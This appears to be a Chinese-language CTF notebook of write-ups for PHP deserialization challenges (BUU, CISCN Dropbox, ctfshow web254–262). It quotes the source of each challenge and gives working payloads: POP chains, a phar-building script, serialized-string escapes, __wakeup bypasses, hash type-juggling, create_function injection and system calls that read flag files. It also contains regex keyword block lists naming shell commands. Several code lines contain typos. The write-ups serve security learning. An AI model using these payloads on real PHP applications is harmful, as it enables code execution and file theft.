BUU CODE REVIEW\

*反序列化 md5
<?php
/*** Created by PhpStorm.* User: jinzhao* Date: 2019/10/6* Time: 8:04 PM*/highlight_file(__FILE__);class BUU {public $correct = "";public $input = "";public function __destruct() {try {$this->correct = base64_encode(uniqid());if($this->correct === $this->input) {echo file_get_contents("/flag");}} catch (Exception $e) {}}
}if($_GET['pleaseget'] === '1') {if($_POST['pleasepost'] === '2') {if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {unserialize($_POST['obj']);}}
}

第一层

post get

?pleaseget=1
pleasepost=2

第二层

md5漏洞,

第三层

反序列

php代码执行完毕之后调用__destruct()魔术方法,因此我们可以通过控制变量correct和input达成目的

可以让correct和input的地址相同,这样不管其中任意一个变量发生变化,另外一个也同步变化,实现$this->correct===$this->input为永真

???
<?phpclass BUU {public $correct = "";public $input = "";public function __destruct() {try {$this->correct = base64_encode(uniqid());if($this->correct === $this->input) {echo file_get_contents("/flag");}} catch (Exception $e) {}}
}
$a=new BUU();
var_dump($a);
//object(BUU)#1 (2) {//  ["correct"]=>
//  string(0) ""
//  ["input"]=>
//  string(0) ""
//}
$a->correct=&$a->input;
var_dump($a);
//object(BUU)#1 (2) {//  ["correct"]=>
//  &string(0) ""
//  ["input"]=>
//  &string(0) ""
//}
echo serialize($a);
?>//O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
//R即实现了两个变量的地址相等

payload:

?pleaseget=1pleasepost=2&md51=QNKCDZO&md52=s878926199a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

[CISCN]Dropbox

*pop链 phar://

尝试随意上传一个文件,发现只能上传图片或者gif文件,抓包改Type绕过后缀限制

通过抓包下载页面,发现存在任意文件包含,但是访问index.php的时候发现显示不存在该文件,可能是跳转了目录,所以可以向上跳转目录,发现向上跳转两次的时候可以下载网页源码文件

可以有:

index.phplogin.phpupload.phpdownload.phpclass.php

任意文件包含

可以通过抓包,一般都会有index.php所以可以通过访问目录来下载文件,获取其他源码文件

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}
?><?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();?>

通过查看FileList发现并不存在Name和Size函数,但是并没有报错,可以看class.php文件发现,有__call函数,所以在没有发现Name和Size函数的时候会转到File类中,发现了Name和Size函数

算是一个小hint

login.php

<?php
session_start();
if (isset($_SESSION['login'])) {header("Location: index.php");die();
}
?><?php
include "class.php";if (isset($_GET['register'])) {echo "<script>toast('注册成功', 'info');</script>";
}if (isset($_POST["username"]) && isset($_POST["password"])) {$u = new User();$username = (string) $_POST["username"];$password = (string) $_POST["password"];if (strlen($username) < 20 && $u->verify_user($username, $password)) {$_SESSION['login'] = true;$_SESSION['username'] = htmlentities($username);$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";if (!is_dir($sandbox)) {mkdir($sandbox);}$_SESSION['sandbox'] = $sandbox;echo("<script>window.location.href='index.php';</script>");die();}echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {public $db;public function __construct() {global $db;$this->db = $db;}public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {return false;}return true;}public function add_user($username, $password) {if ($this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;}public function verify_user($username, $password) {if (!$this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {return true;}return false;}public function __destruct() {$this->db->close();}
}class FileList {private $files;private $results;private $funcs;public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {$file = new File();$file->open($path . $filename);array_push($this->files, $file);$this->results[$file->name()] = array();}}public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) {$this->results[$file->name()][$func] = $file->$func();}}public function __destruct() {$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';$table .= '<thead><tr>';foreach ($this->funcs as $func) {$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';}$table .= '<th scope="col" class="text-center">Opt</th>';$table .= '</thead><tbody>';foreach ($this->results as $filename => $result) {$table .= '<tr>';foreach ($result as $func => $value) {$table .= '<td class="text-center">' . htmlentities($value) . '</td>';}$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';$table .= '</tr>';}echo $table;}
}class File {public $filename;public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) {return true;} else {return false;}}public function name() {//得到文件名return basename($this->filename);}public function size() {//得到文件大小$size = filesize($this->filename);$units = array(' B', ' KB', ' MB', ' GB', ' TB');for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i];}public function detele() {unlink($this->filename);}public function close() {//读取文件return file_get_contents($this->filename);//如果我们的文件名为空,就可以达到任意文件读取}
}
?>

download.php

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
//只能打开当前文件,还有etc系统文件
//但是当在实行删除文件的时候,也需要找到文件所在处,所以我们可以从删除文件下手chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {//如果文件名中有‘flag’出现就不能读取//这就要求我们要利用File类里面的close函数达到任意文件读取Header("Content-type: application/octet-stream");Header("Content-Disposition: attachment; filename=" . basename($filename));echo $file->close();
} else {echo "File not exist";
}

POP链

通过一条链实现对无法直接引用的函数进行引用

$a=new FileList();
$a->close() => $a->call(close)
$a->file=new File('/flag')
$a->file->close();

因为没有魔法函数,所以没办法直接实现对close函数的引用

在查找的时候发现还有一个user类的close,当在销毁的时候会执行$db->close()达到关闭数据库,那么如果把$db变成FileList类里面的对象,则就可以实现对close函数的引用

构造:

phar://

实现对所要内容的序列化和反序列化

<?php
class User{public $db;function __construct(){$this->db=new FileList();  //将db改成FileList类里面的对象}Class FileList{private $files;private $results;private $funcs;function __construct(){$this->files=[new File('/flag.txt')];  //因为前面说又flag就会被过滤,那么flag应该就在flag文件里面$this->results=[];$this->funcs=[];}}class File{public $filename;function __construct($name){$this->filename=$name;}}
}
$a=new User();
$phar=new Phar('test.phar');
$phar->strartBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

根据构造出来的phar文件,先进行修改后缀之后进行文件上传,在删除界面利用phar协议进行反序列化,读取flag文件的内容,注意由于repeater之后文件就会被删除所以要在第一次传入repeater的时候就直接利用

AREYOUSERIALIZE

*序列化

0x01:

源码:

<?phpinclude("flag.php");
highlight_file(__FILE__);
class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}
}
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}
if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}
}

0x02:

先看最后一段代码,得知我们需要以get方式传一个str字符串参量,如果每个字符ascii码都在32到125之间时就对字符串进行反序列化

is_valid()  用于判断字符范围
if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}

之后来查看类FileHandler

__construct() 对象创建时会自动调用,因此一开始类里面定义的对象都赋了初值,并执行了process函数
process()  对象op为1的时候执行write函数,为2时执行read函数、output函数
write()  在文件中写入数据
read()  读取文件里面的数据
uoput()  输出内容
__destruct()  在对象销毁后,或者php代码执行完毕之后自动调用函数

1.由源码文件包含中可知,存在flag.php文件,所以flag可能就在该文件中 //filename=“flag.php”

2.我们可以通过调用read函数读取flag.php文件里面的数据

3.调用read函数即要先调用process函数且op’的值为2 //op=2

4.所以通过改变类FileHandler里面的对象值,并进行序列化之后赋值给str

payload:

<?php
class FileHandler {public $op=2;public $filename='flag.php';public $content;function __construct() {}public function process() {}private function write() {}private function read() {}private function output($s) {}function __destruct() {}
}
$a=new FileHandler();
echo serialize($a);

payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

NiZhuanSiWei

*php伪协议 序列化
 <?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file);  //useless.php  //useless.php$password = unserialize($password);echo $password;}
}
else{highlight_file(__FILE__);
}
?>
?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
<?php  class Flag{  //flag.php  public $file='flag.php';  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }
}
$a=new Flag();
echo serialize($a);
?>  //O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
__tostring()  当对象被当作字符串时自动调用函数
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

此时我们要执行后面的反序列化函L数,前面的include里面如果是php伪协议

flag{07acaa0a-b733-4e93-8572-6964218864fb}

UNSERIALIZE1

class xctf{public $flag = '111';
public function __wakeup(){exit('bad requests');
}
}
$a=new xctf();
echo serialize($a);//O:4:"xctf":1:{s:4:"flag";s:3:"111";}

因为有__wakeup魔术方法,要绕过,当类中属性个数出错的时候不会停止解析但是魔术方法将不会执行,达到绕过的效果

payload:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
<?php
error_reporting(0);
highlight_file(__FILE__);
class Person{public $username='peguin';public $password='123456';public $file;public function __construct($username,$password){$this->username = $username;$this->password = $password;}public function __destruct(){// TODO: Implement __destruct() method.echo "your file is ".$this->file;}}
class Human{public $a;public function __construct($a){$this->a = $a;}public function __toString(){if(preg_match('/ls|cat|more|flag/i',$this->a)){// TODO: Implement __toString() method.die('姿势骚一点');}else{system($this->a);  //}return ("good");}
}$a = $_GET['code']; //?code=
unserialize($a);
?>
<?php
error_reporting(0);
highlight_file(__FILE__);
class Person{public $username='peguin';public $password='123456';public $file;public function __construct($username,$password){}public function __destruct(){// TODO: Implement __destruct() method.echo "your file is ".$this->file;}}
class Human{public $a;public function __construct($a){}public function __toString(){if(preg_match('/ls|cat|more|flag/i',$this->a)){// TODO: Implement __toString() method.die('姿势骚一点');}else{system($this->a);}return ("good");}
}$b=new Person();
$b->file=new Human();
$b->file->a="c\at /f\lag";
echo serialize($b);

payload:

O:6:"Person":3:{s:8:"username";s:6:"peguin";s:8:"password";s:6:"123456";s:4:"file";O:5:"Human":1:{s:1:"a";s:11:"c\at /f\lag";}}

UNSERIALIZE2

*反序列化字符串逃逸
<?php
highlight_file(__FILE__);
class HZNU{private $username;private $password;public function __construct($user,$pass){$this->username=$user;$this->password=$pass;}public function login(){if ($this->password==='admin'){include 'flag.php';echo $flag;}}
}
function filter($str){return str_replace('yang','jiang',$str);
}
$username=$_GET['user'];
$password=$_GET['pass'];
if(preg_match('/admin/',$password)){//简单的正则匹配绕过die('你在想屁吃');
}
$a=new HZNU($username,$password);
$s=filter(serialize($a));
$b=unserialize($s);
$b->login();
?>

0x01:

代码审计:

#当password为admin的时候返回flag
public function login(){if ($this->password==='admin'){include 'flag.php';echo $flag;}}
#如果有yang则替换成jiang,但是由于字符长度不相等,出现了序列化字符串逃逸
#那我们可以利用字符串逃逸,在上传参数时实现我们的目的
function filter($str){return str_replace('yang','jiang',$str);
}$s=filter(serialize($a));

0x02:

已知要实现序列化字符串逃逸

O:4:"HZNU":2:{s:14:"HZNUusername";s:185:"yangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyang";s:14:"HZNUpassword";s:5:"admin";}";s:14:"HZNUpassword";s:6:"ad\min";}

根据字符串长度为185,则要实现替换之后jiang组成的字符串长度为185,以实现后面的字符串逃逸

而在反序列的时候遇到;}就结束了,达到了password=admin的目的

payload:

?user=yangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyang";s:14:"%00HZNU%00password";s:5:"admin";}&pass=ad\min

UNSERIALIZE4

<?php
class test{public $peguin;public $source;public $filepublic function __construct($file){$this->source = $file;echo 'welcome to '.$this->source."<br>";}public function __toString(){return $this->peguin->close();}public function __wakeup(){if(preg_match('/http|file|data|dict|\.\./i',$this->source)){echo "hacker!";$this->source = "index.php";}}
}
class good{public $joker;public function __call($name,$param){system($this->joker);}
}
?>

0x01:先验知识

__call() 当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息
__call() //在对象上下文中调用不可访问的方法时触发
__wakeup()函数 该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作 (这题要绕过这个魔术方法

0x02:代码审计

 #public function __construct($file){$this->source = $file;echo 'welcome to '.$this->source."<br>";}
#当用到__toString魔术方法的时候会调用close方法,但是close方法并没有定义,或者是被没有权限调用,这个时候就会自动调用__call魔术方法,实现命令执行    public function __toString(){return $this->peguin->close();}
#这样就要求$this->source必须是字符串public function __wakeup(){if(preg_match('/http|file|data|dict|\.\./i',$this->source)){echo "hacker!";$this->source = "index.php";}}public function __call($name,$param){system($this->joker);}
#wakeup魔术方法有漏洞
public function __wakeup(){if(preg_match('/http|file|data|dict|\.\./i',$this->source)){echo "hacker!";$this->source = "index.php";}}

0x03:解题

分析完代码之后的答题思路:

1.peguin=new good();
2.$this->source是字符串 然后调用__toString 返回没有定义的close() 3.调用了__call 执行system
wakeup在反序列化之前立即调用

而在调用这个函数的时候,如果source是一个字符串就会进行正则匹配,但如果source是一个类,则会先去找到source指向的类,php会先去寻找这个类中的__toString这个方法,那么就可以把source指向test类,执行test里面的方法

但是source又是字符串所以可以

$source=new test('');

因为之前在source这个点上卡住了,没想到指向类test再寻找toString方法,想着直接让source是字符串了 感谢姜少的poc

姜少的poc:

<?php
class test{public $peguin;public $source;public function __construct($file){$this->source =$file;$this->peguin = new good();}
}
class good{public $joker;public function __construct(){$this->joker = 'tac flag.php';}
}
$a = new test(new test(''));
echo urlencode(serialize($a));
?>

看了姜少的poc之后才想起来做过类似的题目

[MRCTF]ezpop

[BJDC]EZPHP

*运用到的姿势’’

//$_SERVER['QUERY_STRING']  不进行解码 <?php
if($_SERVER){echo '$_SERVER[\'QUERY_STRING\']='._SERVER['QUERY_STRING']."<br>";echo '$_SERVER[\'REQUEST_URI\']='.$_SERVER['REQUEST_URI']."<br>";
}//preg_match  %0a匹配绕过
//$_REQUEST  post可以覆盖get
//data://text/plain, 的利用
//sha1()  数组绕过//create_function代码注入
<?php$func=creat_function($str1,$str2);//$func=function($str1){//  $str2//}$func=function($a){$a=$a+2;echo $a;}eval($_GET['a']);  //实现代码注入}//code injection

0x00:

查看网页源码发现base32编码,解码后访问得到php代码

 <?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])  //编码绕过)  die('You seem to want to do something bad?');
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $valLue) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); }
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|infoLbin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { include "flag.php";$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!

0x01:

要将payload所有字符进行url编码绕过

注意传参时=&符号不能进行编码

preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])

0x02:

根据preg_match()换行绕过 即debu要匹配到"aqua_is_cute"但和这个字符串又不相同,则可在最后加一个换行

if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');

0x03:

foreach用于遍历数组,正则匹配要求上传的参量不能有字母,而post传参会把get传参覆盖,所以可以再post

debu=1&file=1

if($_REQUEST) { foreach($_REQUEST as $valLue) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); }
}

0x04:

file_get_contents — 将整个文件读入一个字符串

由于file_get_contents函数,可以使用data://text/plain,协议

file=data://text/plain,debu_debu_aqua

if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

0x05:

sha1函数漏洞–数组绕过

shana[]=1&passwd[]=2

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

0x06:

在上一个if语句,sha1函数绕过之后,对flag参量进行了extract变量覆盖,而因为code和arg无法通过get或者post方式传参,所以可以将code和arg变为flag参量的键

flag[code]=&flag[arg]=

而由代码可知,code是一个函数,那么我们可以利用creat_function函数漏洞实现代码注入,而arg即要注入的代码

flag[code]=creat_function

//因为文件包含了flag.php所以可能会存在flag变量,所以可以通过函数返回变量
get_defined_vars — 返回由所有已定义变量所组成的数组

flag[arg]=}var_dump(get_defined_vars());//

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|infoLbin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { include "flag.php";$code('', $arg);
} ?>


之后在传包的时候出现错误了,就没有再进行下去,找时间复现一下

/?
debu=aqua_is_cute
&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

[安洵杯]easy_serialize_php

*反序列化字符串逃逸

参考:

https://www.cnblogs.com/h3zh1/p/12732336.html

https://www.cnblogs.com/buchuo/p/12996511.html

https://www.cnblogs.com/zhwyyswdg/p/13999865.html

 <?php
$function = @$_GET['f'];
function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}
if($_SESSION){unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}

0x01:代码审计

#字符串替换,导致可以利用字符串逃逸
function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}$serialize_info = filter(serialize($_SESSION));

而这次被替换之后字符串长度减少,所以可以通过键逃逸和值逃逸

#变量覆盖
if($_SESSION){unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
#img_path有定义的时候还会进行sha1加密,而后面只有base64_decode,所以不用改变
#而可以利用字符串逃逸将img的值改为我们像读取的文件的base64加密值
if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}

#利用file_get_contents实现读取d0g3_f1ag.php文件
if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}

0x02:解题

利用键逃逸

大佬的payload:

$_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

serialize:

a:2:{s:7:"flagphp";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

因为关键字被替换成空,所以flagphp被替换成";s:48:,实现了字符串逃逸

即键";s:48:对应一个字符串1,键img对应ZDBnM19mMWFnLnBocA==,反序列化再遇到}之后结束,那之后的字符串被丢弃了达到了修改img值的目的

将img的值修改为/d0g3_fllllllag的base64加密L2QwZzNfZmxsbGxsbGFn得到flag

[NPUCTF]ReadlezPHP

*反序列化

view-source之后发现

那么就直接访问/time.php?source
得到php源码

<?php
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;
echo serialize($c);
if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}
@$ppp = unserialize($_GET["data"]);

代码审计:

#当对象被销毁的时候会执行 $b($a)
#由此我们可知$b会是一个函数
#$a是我们要执行的代码
public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}

poc:

<?php
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "phpinfo()";$this->b = "assert";}
}
$c = new HelloPhp;
echo serialize($c);
//O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

payload:

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

ctrl+f搜索flag即可找到flag

CTF-SHOW-UNSERIALIZE

web254

0x01:

查看php代码:

 <?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){//对象的值与函数传入的值相等时返回true$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){   //如果返回true则输出flag,因此我们要实现$this->isVip返回true,往上面一看发现与login()函数有关global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

0x02:

if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

要求我们用get方式传参username和password,利用三个自定义函数是实现输出flag

0x03:

payload:

?username=xxxxxx&password=xxxxxx
web255

0x01:

php代码:

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);    if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

前面和web254一样,只有在user变成了对cookie传参进行反序列化

0x02:

<?php
class ctfShowUser{public $isVip=true;}
$user=new ctfShowUser();
echo serialize($user);
?>//O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

payload:

cookie:
user=O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}?username=xxxxxx&password=xxxxxx
web258

源码:

<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}
}
class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}
class backDoor{public $code;public function getInfo(){eval($this->code);}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}$user->login($username,$password);
}

0x01:代码审计

public function __construct(){$this->class=new info();}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}public function __destruct(){$this->class->getInfo();}class backDoor{public $code;public function getInfo(){eval($this->code);}
}

类info和backDoor有相同的自定义函数getInfo,而我们要利用eval,所以应该要使用第二个函数,因此class应该将backDoor实例化

还要把private改成public

class ctfShowUser{public $class;public function __construct(){$this->class=new backDoor();}
}
class backDoor{public $code='system("ls");';public function getInfo(){eval($this->code);}
}
$a=new ctfShowUser();
echo serialize($a);

但是这次有正则的限制

f(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}

即在O后面不能有数字,只要在数字前加一个+就可以绕过了

ls之后发现flag.php,之后修改$code='system("cat flag.php");'

就可以得到flag了

web262
*反序列化字符串逃逸
*替换之后导致序列化长度变长

反序列化字符串逃逸:

浅谈php序列化字符串逃逸


<?php
error_reporting(0);
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';
}
highlight_file(__FILE__);

message.php

highlight_file(__FILE__);
include('flag.php');
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}
}

0x01:代码审计

根据message.php文件,得知当token为admin的时候返回flag

if($msg->token=='admin'){echo $flag;}

payload:

<?php
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
